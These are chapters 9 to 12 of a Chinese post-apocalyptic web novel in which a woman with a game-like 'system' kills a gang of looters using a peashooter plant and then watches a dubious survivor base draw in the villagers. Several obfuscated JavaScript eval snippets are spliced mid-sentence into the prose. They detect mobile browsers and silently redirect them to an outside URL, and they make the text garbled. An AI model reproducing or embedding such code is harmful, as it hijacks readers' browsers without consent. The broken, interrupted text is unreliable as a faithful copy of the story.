有人缩在地下室以为能逃过一劫,但歹徒们找到入口,往里扔了大量的燃烧物,逼得他们只能出去;有人拿起武器想拼死一搏,却砰的一声倒在了枪口下。 枪声尖叫声哭嚎声,鲜血污染了纯洁的白雪,在和平年代什么时候见过这样的场景,仿佛置身人间炼狱。 这群人不是没打过祁安安房子的主意。 但一来,和一般的自建房不同,祁安安这栋没有院子,连窗户都只有一个,他们没那么容易进来。 二来,天快亮了。 恐怖的极寒再次席卷世界,这群人围着祁安安的房子转了好几圈,最终只能咬牙切齿的离开。 他们也没有离开,祁安安亲眼看到地形车开进了一户被搜刮过的人家,似乎要把这里当成临时的据点。 祁安安清楚他们的想法,望海村远离s市市区,经济不发达,很少有人会把这里当成一个资源点。 但其实,村里人家物资更多。搜一栋公寓楼,速食零食占大多数,而自建房里,可都是实实在在的米面粮食。 屋子里,安顿下来的强盗们两眼冒光的清点着战利品。 “大米、面粉,这么厚实的棉花被,还有煤球,老大我们发了啊!” “还是老大聪明,带着咱们一下就掏上了好地方。” 被众星拱月的瘦弱男人轻轻点了点头,他慢慢啜了一口热水,随后开口:“这些都只是些开胃小菜,真正的狠货还没出来呢。” “记得那栋一扇窗户的房子不,那里头绝对不简单。” “老大,那栋房子咱们不清楚底细,又不好偷袭,万一……” 瘦弱男人的队伍也不都是穷凶极恶之徒,总有人干了一票就想打退堂鼓。 男人冷冷的看了他一眼,随后胸有成竹的说:“放心我比你清楚,那屋里就住了了个单身的女人,只要想办法进去,你还怕对付不了她?” 只是一个女人啊…… 队伍里零星几个反对的声音,因为男人的情报压了下来。 过了一会,又有人小声问:“老大,那群老头老太太怎么办?咱们要不要……” 他在脖子上比了个做掉的手势。 “算了。”男人难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161279|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得发了善心,“让他们自生自灭吧,咱们赶紧休息,晚上可有场硬仗要打。” —— 昼夜温度颠倒后,不少人类都养成了新的生物钟,白天睡觉,晚上活动。 祁安安看着漫天的大雪,决定出门一趟。大门被雪堆满肯定打不开,唯一出去的路就只剩下窗户。 她先从木材废料里找到两片宽大的木板绑在鞋底上,制成了一个简易版的雪橇,然后再打开窗户翻出去。 “啪叽”跳下去的时候重力太大,祁安安一下子陷进了雪里,积雪劈头盖脸的将她埋了个彻彻底底。 她又慌又乱,手脚乱扑腾,好在表层的雪压的不够结实,祁安安笨拙的挣扎后,慢腾腾的从雪里又站起来。 漫天飞雪里,她像个小企鹅一样摇摇晃晃的往前走。 之前在二楼她观察到,幸存的村民暂住到了一处小院里,除了身上的衣物,那群歹徒没让他们拿走任何物资。 祁安安不想管闲事,可在窗户前从黑夜站到白天,她对抗不了自己的良心。 她摇摇晃晃的走到了那处小院外,隔着围墙扔进去了一包煤炭,一包压缩饼干,还有一包退烧药。 里面的人宛如惊弓之鸟,一点点风吹草动都把他们吓得不行,更别提祁安安这“砰砰砰”沉甸甸的三声。 过了好半晌,才有个老人提着木棍小心翼翼的走出来。 他戳了戳地上的东西,看清楚之后惊喜的小声喊道:“快出来,这里头有粮食,有煤,还有……药!” “太好了终于有药了,老陈他们有救了……” 烧水做饭照顾病人,还活着的村民们迅速分配好任务,终于在20分钟后喝上了一碗热腾腾的压缩饼干糊糊。 热乎乎的食物带来的不仅仅是饱腹感,更是一针安慰剂。 这世道还有人在意他们这一群老不死的。 —— 还好小屋里有在户外用品店买到的吊绳,要不然怎么回去也是个大问题,雪下的够大,她来过的痕迹很快被掩盖,合上窗户后,缝隙处也迅速堆满积雪。 晚上有一场硬仗要打,今天她要吃的饱饱的,给身体补充能量! 祁安安没心情做饭,煮了20个提前包好的饺子。 猪肉韭菜馅的,里面还有大颗的虾仁,肉馅鲜美虾仁Q弹,再蘸着辣椒油和醋,这滋味别提多香了。吃完再来一碗饺子汤,原汤化原食,舒服的她只想睡觉。 不过她也没忘记王清那边的情况。 她把监控拉到昨晚,打开倍速观看。 9. 第 9 章 察觉到门上的响动后,王清立刻警觉地站起来,死死盯着大门。 “咔哒咔哒”,锁眼疯狂旋转,外头的人尝试了几次没有成功,随即换上了更暴力的工具。 嘭嘭嘭锤子重重敲击几下后,不太严实的门缝里伸进来一抹银色。 作为游戏区主播的王清当然熟悉这个工具,歹徒手里居然有哈里斯撬棍! 作为消防破拆神器,只要使用方法得当,这种老旧小区十多年前统一安装的入户门绝对扛不了一分钟。 怎么办,王清绝望地寻找任何能自救的东西。 报警电话永远是占线打不通的。 小区业主群是无人回应的。 就连神秘人在给她发完预警消息后,也了无音讯。 现在她好像能依靠的只剩下自己了。 王清看着逐渐变大的门缝,眼中闪过一丝狠厉。事到如今,只有以命相搏,才能求得一丝生机。 她转身从厨房里找出一把水果刀。 门外,李铭把手放在撬棍上不断用力下压,“咔啪”一声,大门彻底被破坏打开之时,门后的黑暗里突然伸出一把尖锐的水果刀,直冲他心脏刺过来。 李铭躲避不及,只能扭身竭力避开心脏,可他还是低估了刀子的速度和锋利。水果刀捅进右侧大臂一寸,鲜血瞬间染红了身上的羽绒服。 “你找死!”他狂怒。 “找死的那个人是你!”王清冷笑。 末日之前她胆小到连杀鸡都不敢看,但此刻她双眼泛红,手腕继续用力,往血肉中狠狠戳刺进去。 “嗷!”李铭痛呼一声,额头冷汗涔涔而出,李小伟连忙拾起地上的菜刀朝门内砍去。 狠狠一下,门内的王清毫发无损,反而是李铭胳膊上的刀进的更深了。 笑死,王清怎么会蠢到手持一把短小的水果刀肉搏,一寸长一寸强,她用无数胶带把水果刀和棒球棍死死固定在一起,自制了一把锋利灵活的长矛。 王清在门内,仗着沙发和柜子做掩护,将长矛使得虎虎生风,哪怕是没有章法地胡乱戳刺,也把门外的四人吓得不轻。 “爸……”李小伟被推到最前面,站着亲爹血的利刃就擦着他的脸颊滑过,他哆哆嗦嗦的开口,“要不……咱们还是算了吧。” 说话间楼梯上传来一阵响动,李小伟蹭一下跑回自家门口,一副与他无关置身事外的模样。 李铭:“……” 他恨得咬牙切齿,但战斗力大打折扣的他早已没了曾经的统治力。 三个软蛋,MD平日里欺负祁安安一个比一个来劲,咋一到外头啥都能吓住他们。 他心头升起火,强撑着气势,捡起撬棍把自己和大部分物资锁进房间:“随便你们,反正没有食物,饿的不是我!” 一场生死危机因为王清的拼命防守和门外人的内讧结束了。 一直到他们离开许久,门外彻底没了声音,王清才浑身脱力的坐在了地上。 守住了! —— 看到王清平安无事,祁安安提起来的心稍稍放下些。 接下来就要发愁自己怎么渡过眼下这一关了。 她打开植物系统,看着背包里仅剩的一张【豌豆射手三天体验卡】。 要使用吗? 祁安安犹豫了,生存时间还未过半,道具被使用完,要是再碰上什么天灾人祸…… 面对满是迷茫的前路,没人敢打包票,也没人敢说现在做的选择是对是错。 装死了许久的系统冷不丁的出声:【宿主原本不是计划要在安全屋苟住三个月?更何况那些村民注定是要死的,不是今天也会是明天,何必浪费道具去做多此一举的事情。】 “你还在意我的死活?” 祁安安没想到自己没怂,反而是系统先怂了。 【契约宿主需要耗费能量,如果宿主死在新手任务,系统要承担很大损失。】 懂了,原来统扒皮突然大发善心是怕长工死了。 听到系统也难不好过,她心里就舒服多了。 但认真说来,祁安安并不是烂好心的圣母,之所以出头,一半是因为那群歹徒已经盯上了自己的房子,另一半是因为那群孤苦的老人们。 死过一次后又绑定末日系统,未来还将在各个位面中穿梭。祁安安内心迷茫且惶恐,她其实和那些村民没有区别,都是朝不保夕的待宰羔羊。 既然如此,不如顺随心意去做认为正确的事。她干脆利落地点击确定,还有心情和系统开了个玩笑:“这么关心我,那就在你的世界为我祈祷吧,愿上帝保佑阿弥陀佛。” 体验卡使用后出现了种植和佩戴两种模式,祁安安先点击了种植。 忽然间,她眼中的画面迅速发生变化,四周被数道直线划出了方方正正的格子,豌豆射手卡片一闪一闪发着微光等待种植。 她点击卡片,隔空把豌豆射手种植在了离自己最远的格子里。下一秒,一棵精神饱满的豌豆凭空出现在10米开外的雪地上,与此同时,祁安安眼中的所有物品头上都多了一个明晃晃的血条。 死树的生命值是600,实木桌子1000,而自己的血条……,刚好800。 种植状态下的豌豆需要宿主手动设置敌人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233283|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,祁安安不太熟练地把不远处的一栋陈旧的房子设成敌人。 操作完成,三秒钟后豌豆射手舒展绿叶,不紧不慢的从嘴巴里吐出一枚绿色的子弹。 “BIU”绿色的子弹撞上墙壁,没有出现明显的弹坑,但2000生命值的砖墙掉了1/5格血。祁安安掐着表等待它下一次攻击,又一个精准的三秒钟后,豌豆射手吐出了一枚子弹。 墙壁表面依旧没有任何异样,但损失了2/5的生命值后,祁安安仔细观察,这堵破墙好像在面对肆虐的寒风时,隐约微微有些力不从心。 她又把豌豆射手换了个位置,设置自己手中的矿泉水瓶作为敌人。 祁安安站在豌豆的攻击轨迹上,然后在它发射出子弹的瞬间将矿泉水瓶扔出。 很可惜,绿色子弹没有拐弯功能,最终在失去目标后,穿过祁安安的身体落在了不远处的墙面上。 她又将矿泉水瓶扔出去几次,最终得到了准确的数据,以豌豆射手为轴心,长二十米,宽一米的范围内,自动瞄准有效,超过这个范围,攻击就会落空。 祁安安不由得遗憾,体验卡数量还是太少了,要是给她十张,啊不对四张就行,就在窗户上摆成个豌豆花束,哪个小贼敢来偷她的家! 可惜这种好事只能在梦里想想。 祁安安飞快发现了种植这种模式的缺陷,虽然豌豆射手发射子弹时完全静音,攻速也不慢,但这么绿油油明晃晃的一个靶子杵到这儿。 再加上只要动点脑子稍加观察,就能发现这是个只能攻击直线敌人的人机。 综合考虑,祁安安不打算将种植当成主攻方式。 她接下来点击了佩戴,随后不远处的实体豌豆消失,她面前的桌上亮起一道白光,消失后露出一抹绿色。 豌豆射手变成了手枪形式,枪膛保留了豌豆的造型,圆润的线条削弱了兵器的冷厉,让它看上去有点憨态可掬。 祁安安又试了试豌豆手枪的威力,一番研究后得出结论,手枪形态下的射程和威力与本体相同,但攻速快了将近一倍。 她快速扣动扳机,豌豆手枪后坐力轻的接近于无,绿色的子弹连成一条线,瞬发出去。 虽然变成手枪后失去了自动锁敌功能,但祁安安更喜欢它的攻速,这不就相当于是一把无尽弹药的手枪。 真是太香了! 一整个下午的时间,祁安安全在新奇自己这件“新玩具”。时间过得飞快,转眼天色就渐渐暗了下来,窗外的雪稍停,气温缓慢回升。 她从小屋里找出了自己最轻便保温的防寒装备,做好准备后从窗户离开了房子。 10. 第 10 章 祁安安把自己藏在一颗被严寒冻死的老树后。树叶早就落完,只剩下光秃秃的枝干,不过树干粗大,她穿着灰扑扑的羽绒服蹲在树后,借着夜色,倒是很难发现后面还藏了个人。 祁安安是晚上11点出的门,在树后等了足足一个小时,温度到了零下二十三度,那群歹徒才懒懒散散的走出来。 昨晚天色太黑,祁安安连他们具体几个人都没看清楚。现在才看清,这伙歹徒一共六人,血量在1200~1600之间不等,有三个手里拎着棒球棍,一个拿着电击棍,一个提着把巨大的消防斧,还有一个轻装出门。 祁安安想起了昨晚听到的枪声,这群人里应该至少还有一把枪。 她悄悄往树后又躲了躲,歹徒迎面走过来的时候,她看清了什么,然后紧紧皱起眉头。 人群里似乎有一个熟人? 祁安安睁大了眼睛仔细辨认,走在歹徒中间轻装上阵的瘦弱男子,居然是当初帮她租房的中介小哥。 原来是这样! 祁安安一下子懂了,为什么他们能目标明确的来到望海村?为什么他们连这边有地下室都能知道? 原来祸事是冲着自己来的。 祁安安眼底泛起一层冷意,安全屋是她能不能继续存活的保障,这群知道她秘密的人,一个都不能留。 打定主意,她减少存在感在树后继续蛰伏,然后看准时机扣动扳机。 三颗子弹连成一道绿光,射出枪膛。 豌豆射手非常给力,可惜祁安安是个刚接触枪支的菜鸡。虽然紧急特训了一下午,但不改人体描边大师本质,三枚子弹只命中了一枚。 “嗷!”远处的歹徒里传来一阵痛呼,命中的是拎着消防斧的胖子,初始血量1200,是这群人里血量最低的一个。 消防斧沉闷的摔在雪地上,紧接着便是一阵骂声:“MD谁敢偷袭老子!” 在那边混乱起来,有人手忙脚乱的搀起胖子,然后躲到一栋空置的房子后。 祁安安趁机又悄悄在树后放了几声黑枪,然后也跟着转移了阵地。 张明,也就是带祁安安看房的中介,打开手电,把胖子仔仔细细看了一遍。但是看他叫的凄惨,可别说是伤口了,就连衣服都没破。 “你装什么呢,该不会是怂了吧?” 拎着电击棍的瘦子气势汹汹的开口,不是他怀疑,谁让这家伙昨天就想打退堂鼓,说不定这会儿就是他想临阵脱逃搞出来的小手段。 胖子揉着小腿痛的直狰狞,没什么好气的回答道:“你tmd说谁怂,老子这样像是装出来的吗,换你你来试试,不知道啥东西打在我小腿上,疼死人!” 张明打着手电筒看了又看,胖子的表情确实看上去不像作伪。但刚刚他就用极快的速度在雪地上扫了一圈,上面铺着一层厚厚的雪,别说子弹了,连个土块石头都没有,什么东西伤了胖子? 他身后的小弟对视几眼,心里都隐隐不安。末世降临之后他们横行霸道惯了,还是第一次碰见这种琢磨不透,隐藏在暗处的敌人。 “行了怕什么,大家都在这里,没听见声音,也没看见凶器,八成是胖子身上哪个老毛病犯了,有什么大惊小怪的。” “再说了,就算真的是人搞的鬼,咱们这么多人,难道还怕了他?” 张明说是鼓劲,但语气却渐渐不善,熟悉他的都知道这是要发火的前兆了。 装神弄鬼的人固然可怕,但张明兜里可是揣着真枪实弹。 一个是可能会死,一个是一定会死。该怎么办,众人心里还是有点数的。 于是稍微休整5分钟后,一行人再次出发。 另一边的祁安安转换了策略,她想到了一个更好玩的方法。她把植物切换为种植模式,将豌豆种在了这伙人的前行直线上。 张明带着人刚从房子后面钻出来,就隐约看见前面的路上好像有一个绿乎乎的东西。 他快速打了个手势,队伍谨慎的朝四面散开。 “啊!”又是一声痛呼,这一次受伤的还是躲避不及的胖子。 而所有人都清楚地看到了从空中划过的一道绿色痕迹。 又被命中一次,血量只剩下三分之一的胖子脸色极速变白,任谁都能看出他此时有些不大好了。 一种诡异的恐惧萦绕在所有人心头,那究竟是个什么东西? 祁安安躲得远远的观察着战局,目前胖子血条只剩下最后400,只差最后一击,就能彻底送他上西天。 她把远处的豌豆射手收回,体验卡进入了一分钟的cd时间。 “老大,”瘦子使劲揉了揉眼睛,惊恐的说道:“那个鬼东西怎么又没了!” 这次可不是他眼花,这么多人这么多双眼睛眼睁睁看着那个绿不溜秋的玩意儿,从他们眼皮子里消失了。 “怕什么!”张明壮着胆子,提高声音几乎是吼出来:“神神叨叨的,我倒要看看它能怎么吓人!” 这一次,他花了比上次更多的时间才整理好队伍重新出发。 祁安安已经潜伏在他们身后,一分钟的cd过去,豌豆射手又改成了佩戴模式,“BIUBIUBIU”一通连击出去。 首先是血量最低的胖子,被命中了最后一颗子弹悄然倒下。然后是搀扶着他的两人,分别都挨上了两发子弹。 队伍中又是两声痛呼,张明再一转头发现,胖子居然不知道什么时候已经没了呼吸。 “怎么回事!”这一次,他终于意识到问题的棘手了。 张明从兜里掏出手枪,对着胖子中弹的方向开枪射出去。 可惜,无人在意。空气中只留下一股硝烟味。 张明:“……” 正当沉默之时,身旁又传出一阵恐惧的惊叫:“WC,那……那是什么啊!” 他强装镇定的转过身,对面一楼的窗户口,再次出现了那个绿油油的东西,在黑暗中绿的格外显眼。 鬼打墙了?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233284|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张明不由得想起今早胖子还喃喃过,今天是农历七月半,换成往年该给老祖宗烧点纸钱,也不知道以后有没有人给自己烧点纸钱。 TMD这是招惹了哪路的孤魂野鬼! 张明在心里疯狂骂娘,他壮起胆子从侧面悄悄摸过去。这次他看清楚了,窗户上是一颗通体绿色,长得像喇叭花的植物,绿色的“花”上有一双简笔画大眼睛。吞吐间里面是一颗颗绿色的子弹,看着好像放大版的豌豆。 怎么说呢,长得有点抽象。 面对未知,人类会感觉到恐惧。 但面对这么抽象的未知,张明一时间还不知道用什么表情来对待。 他掏出手枪,打算把这鬼东西直接解决掉。但下一秒,祁安安飞快把豌豆射手收了回来。 虽然植物被破坏后只需要5分钟的CD时间,但自家可爱的小豌豆,不到万不得已,祁安安还是不想看见他受伤的。 完全不考虑,这一下又在张明心中留下了多少心理阴影。 近距离眼睁睁看着那个鬼东西再次消失,张明心里完全吓破了魂。 别说去那个眼馋许久的地下室了,现在这情况,怕是自己再往前走几步,小命都要没了。 张明兔子一样窜回了人堆里,连忙指挥剩下四个人围成圆圈,抱团回去。 祁安安自然不会放过痛打落水狗的好机会,一路上放了好几次黑枪,又解决掉了他的两个小弟。 张明看着身旁的人一个又一个减少,而且每一个都是痛呼几声后面色苍白的倒下,最后再也没有站起来,要不是还有一点求生的欲望支撑着,怕是他现在早就已经疯了! 祁安安这会已经悄悄从另一个方向绕过去,提前蹲守在他们居住的小屋旁。 等张明三人颤颤巍巍的翻过围墙,以为回到庇护所时。看到的就是那朵绿色的“喇叭花”,这次直接出现在了门口! “啊啊啊啊啊,鬼啊!” 再一次看到熟悉的绿色,张明三人的心理防线瞬间崩溃,祁安安站在围墙外,免费欣赏了一场男高音演唱会。 有点难听,还是赶紧结束吧。 不怪他们这么脆弱,从末世开始,那场诡异的白雾,就让不少人怀疑有超自然能力的存在。而停电之后,国家彻底失去对舆论的管控能力,祁安安在网络上发现了不少邪///教的言论,甚至信徒不少。 所以她这一出装神弄鬼,反而误打误撞击溃了他们的心理防线。 张明三人先夺门而出了一个,被守在墙外的祁安安敲了闷棍。 剩下他和另一个手持电击棍的青年在回来的路上被豌豆射手消耗了好几次,此刻血量也只剩下一半。 祁安安让豌豆射手守门,她悄咪咪的在墙外扔进去三四个汽油瓶。 冰天雪地里汽油瓶的威力大打折扣,但对付两个血量减半的人来说还是绰绰有余。 祁安安听着围墙里传来的一阵阵惨叫,等火势减小又进去补了两枪。 11. 第 11 章 最后一步当然是喜闻乐见的舔包环节。 首先是张明身上的手枪。 祁安安拿了根铁棍从辨不出人形的尸体上扒拉出来。可惜被火焰烧灼过,枪身有细微的变形,祁安安实在是不敢用,生怕这玩意儿在自己手里炸膛了,只是按照网上的教学把子弹抠了出来。 接下来就是最重要的财产全地形车。 祁安安从看见这玩意的时候就眼馋得不行,虽然它不如越野车保温效果好,但它灵活耗油少啊。 当初在囤物资的时候,祁安安就犹豫过要不要备上一辆车,但初始资金实在有限,实在喂不起一只吞油巨兽,最后只得作罢,没想到现在让她圆了梦。 一共两辆,祁安安把它们都开到了安全屋附近一个空置的院子里,然后把钥匙和油箱里的油抽干净。 一切结束,祁安安悠哉悠哉的背过手离开。 回家睡个好觉! —— 连续两晚都没有好好休息过,祁安安这一觉直接睡到了中午12点。解决了一个心头大患,今天中午可不得吃点好的犒劳犒劳自己。 她打算做一顿火锅。 餐具还是老朋友,一个煤炉一个小煮锅。 接下来是食材,手切羊肉和牛肉搞了个拼盘,虾滑一袋,火锅丸子取了几种自己爱吃的,一个土豆,生菜一颗,娃娃菜几片,还有一包宽粉提前泡好。最后是必不可少的麻酱老干妈陈醋三件套。 祁安安先倒进去半包清油味的火锅底料,又把难煮的土豆先扔进去,让它在里面先慢慢咕嘟着。 接着她快速把料碟调好,端上料碗坐在锅边开吃。 肉类是超市帮忙切好的,一片片极薄,放进锅里轻轻涮两下就打起了卷儿,这时已经熟了。 祁安安赶紧把肉捞出来,放在自己盛满了麻酱的料碗中一蘸一裹,锅底劲辣肉质鲜嫩麻酱醇香,这一口好吃到灵魂升天。 半斤的肉祁安安三两口就吃了个干净,她却还有些意犹未尽,馋肉的劲头一旦解开了,那必定是要大吃一顿才能好好过把瘾。 祁安安看也不看旁边的绿叶菜,又从小屋里拿出了一盒羊肉。 又是一盒羊肉下肚,祁安安才感觉肚子里的馋虫被稍微安抚了下去些,她从小屋里又拿出了一大杯椰椰西瓜汁。 有着椰子味的西瓜小甜水,正是火锅最好的解腻神器。祁安安一下子干了半杯,觉得自己还能再吃点。 于是她改变吃法,挑了些自己喜欢吃的菜,和宽粉、一小把手擀面一起扔进了锅里,煮熟之后再淋上一层厚厚的麻酱,变成了一锅热腾腾香喷喷的砂锅面。 祁安安又往锅里倒入了致死量的陈醋,再加上灵魂中的灵魂一大把香菜。 这一锅极为符合她心意,又极其真材实料的砂锅面,给祁安安吃了个肚圆。 虽然吃得丰富,但这顿饭其实用到的餐具不多,祁安安把锅碗仔仔细细地刷干净后。重新洗脸洗手,然后靠在抱枕上,一边刷手机一边喝西瓜小甜水。 但很可惜,大规模停电的时间越久,现在网络上能刷出来的新消息就越少。 祁安安看了一会儿就百无聊赖地关闭了手机,然后打开了连着监控的投影仪。遗憾的是摄像头不知道什么时候电量用尽,无法继续传输画面,最后的乐子也没了。 —— 祁安安又在地下室里宅了几天。稀奇的是,某天起来,他看到自家窗户下摆了不少东西,有耐冻的红薯土豆,也有装在塑料瓶里的香油。不是市面上卖的,更像是农户自产自销的土特产。 她一下子就想到了这些物资的来源,怕是村里的幸存者们也发现了,这栋房子有人在住,也猜到了是祁安安曾给他们提供过帮助。 祁安安不缺物资,她趁着夜色又把这些东西送了回去,分别放在了几户人家的门口。 这段日子气温还是那个老样子,白天冷晚上热,祁安安也被迫跟着离谱的气温倒了生物钟,白天裹紧小被子呼呼大睡,晚上做猫头鹰精神抖擞。 她每天还会花一两小时给自己做基本的体能训练,再花费半小时阅读一些野外求生的工具书。到了饭点再想方设法,给自己搞点好吃的。 例如烤肉,在煤炉架上平底锅,放入五花肉煎至双面金黄润好锅,然后再依次下入牛肉蘑菇土豆片等蔬菜,无论是做烤肉拌饭还是生菜卷肉,都是无比的美味。 或者是包饺子,祁安安把这个也当成体能训练的一部分。纯手工剁馅,双刀在案板上剁得啪啪作响,无论是肉还是蔬菜,在她的双刀下只有被“炼化”的下场。 擀皮剁馅别看简单,一套小连招下来运动量真不小。祁安安从第一天剁完两个胳膊直抖,到现在冷酷无情夺命手,进步神速。 而且完全纯手工包出来的饺子,味道好像是比机器绞出来的肉馅和统一售卖的饺子皮做出来的好吃不少。 日子就这样一天天慢慢过着,突然一天晚上,祁安安正在地下室看书时,隐隐约约听到一阵喧闹声。 担忧是再有歹徒袭击村子,祁安安先确定室内没有危险后,来到了二楼的窗边。 一出来那阵噪音更大了,好像是有人故意制造出来让更多人听见一样。 来到窗边,她看清了声源处,不用费力去辨认, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234786|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为他们也压根没想隐藏踪迹。 高功率的手电筒绑在一辆极其眼熟的黑色地形车上,上面站着三个穿着迷彩服的人,旁边还配了一个超大功率的手电。 大喇叭来回重复着,声称他们是S市的政府军队,目前已经在10公里外建立了生存基地,欢迎所有幸存者前往。那里有食物有燃料,按劳分配,只要工作每个人都能吃饱饭。 搞宣传的人很有演讲天赋,大喇叭里传出来的声音振奋人心,仿佛下一秒人类就能战胜极寒,重新建立秩序。 非常好的大饼,祁安安裹紧羽绒服,头也不回地回了地下室。 如果宣传不那么浮夸的话,祁安安可能还有兴趣去生存基地一探究竟,毕竟人是社会化动物,她离开后,真正的祁安安还要生活更久,一直一个人怕是精神要出问题。 条件允许的情况下,祁安安还是挺想把这个可怜姑娘照顾好的。 这个生存基地,她心里总觉得不靠谱,还是先观望一阵子吧。 望海村的村民们经历了一伙歹徒,心中有个提防,别说是政府做保,就算是国家做保,这种拿着大喇叭在街上随便吆喝的行为,在他们眼中有点太二百五了。 几个村民一起商量着,也和祁安安一样的打算。都决定先在家观望观望,他们家中有余粮,倒也不是非去不可的地步。 附近的其他几个村子,听到了一阵又一阵的喇叭声,终究是有人按捺不住心动,从藏身的小屋里走出来。 “有没有吃的啊,我们都饿了3天了。” “我妈有糖尿病,药断了好久,能不能先给我们安排住进去啊。” “到了那边真的不愁吃喝吗?咱们就这一辆车,怎么过去呀?” “……” 一个个问题连珠炮一般砸过来,负责宣传的工作人员非常有经验,耐心地一个个解答的问题。 “你们放心吧,看视频上,咱们S市的市长都在,难道他还会骗你们吗。” “我们先统计好幸存者人数,明晚再派车统一送你们过去。饿的话我们车上有物资,先分给你们。” 工作人员大大方方的态度赢得了不少幸存者的信任,尤其是看到发到手里实实在在的米面粮食。不少躲在暗处的幸存者忍不住责备自己的犹豫,就晚这么一会儿东西都让别人领光了! 一个带着一个,在这种由血缘关系联结起来的村子里,很快大部分人都走了出来。 “放心吧,”工作人员维持着秩序,又给大家吃了个定心丸,“目前不少厂子已经渐渐恢复了生产,等到了生存基地,大家都能有饱饭吃,有好日子过!” 12. 第 12 章 第二天晚上,祁安安特意守在了窗帘旁,要搞清楚他们究竟是人是鬼。 午夜时分,生存基地的人准时来到。他们开了五辆大卡车,带着吵吵闹闹的喇叭,停在了望海村和附近几个村子共用的广场上。 距离有点远,祁安安拿出了望远镜仔细观察。卡车上带的有移动电源,把小广场照得亮如白昼。随后下来几个荷枪实弹的官兵,看他们的纪律和气势,祁安安觉得确实有点正规军的意思。 一大批幸存者们也都早早地在广场上等着了,这会儿在士兵们的帮助下,把带的行李一件件往卡车上装。不仅仅是附近几个村的村民,祁安安也看到了一些熟面孔,望海村也有不少人收拾行李悄悄离开。 远处的声音吵闹,但是一种让人安静的吵闹,末日之后,祁安安离群索居,已经很久没有和人类沟通过,也再也没有见过这般安宁热闹的场面了。 她守在窗边静静地看了一夜,车队离开的时候,并没有从来时的路线折返回去,而是选择从她的小屋附近经过。不知道是不是错觉,祁安安感觉这一小段时间里,卡车的车速似乎慢了不少。 第二天晚上,地形车再次出现,这一次上面多了几个附近的村民。 车子速度极慢地在雪地上行驶着,除了大喇叭来来回回的通知,还有幸存者们拿着话筒现身说法,为生存基地背书。 他们说在那里久违地喝到了热汤,吃到了饱饭,基地会为每个人安排工作,生病的人也得到了治疗。 幸存者朴实的话语和明显改善的精神面貌,往车上一站,就是最好的活招牌。 亲人/朋友/熟人现身说法的威力可不一般,来来回回宣传了好几天,祁安安所在的郊区基本上都被搬空了。 就连远处也拖家带口来了不少逃难过来的人,都是奔着生存基地去的。 祁安安靠在窗户旁看着,一片雪白的大地上,这些人渺小得就好像一只只黑蚂蚁。寒冷的温度已经将他们冻伤,逃难的人们个个精神萎靡,走路都在摇晃。几乎是撑着一口气来到了这里。 听说他们把基地叫做火种,是这个极寒末世中的一团火。 但祁安安心里总觉得不对劲,她选择继续留在地下室继续观望。反正离生存基地就10公里,如果后期真的建设的不错,她靠地形车也可以轻松过去。 逃难的人从四面八方赶过来后,那些每夜都会出来的地形车也渐渐消失了。 祁安安悄悄跟着队伍去基地外远远看过,火种基地建在一个被挖开的小山里,最外围有几道警示线和登记信息的工作人员,更里面的则是一片漆黑,看不清也看不明。 基地外热闹得犹如菜市场,但除了少数几个统一制服的工作人员,和大批堵在门口尚未登记的民众,却没有已登记的幸存者出现。 祁安安隐藏在人群中继续观察,却诡异地觉得自己有些瞩目—— 那些视线集中在了她脚上那双加厚的皮靴上。 祁安安:“???” 怎么也没想到自己会因为一双鞋被人盯上,她从兜里摸出那把被火燎过的手枪,眼光不善的一个个看过去,那群人的小心思才慢慢歇住。 这也是祁安安不到万不得已不想进入生存基地的理由,和周围这些面黄肌瘦,满手满脸冻疮的人相比,她有点把自己养的太好了。 —— 而与此同时,几个老熟人也来到了基地外。 李铭一家是五天前得知有这么个生存基地的消息,这个时候外面已经乱了一段时间。 这个乱不仅仅是国家失去对社会的秩序管控,而是彻头彻尾的乱了。 他所在的单元楼还好,对门那个女人联合着其他几个有本事的,看准时机先去小区超市里搜集了一波物资,只要跟着去的都分到了点东西。 也包括他。 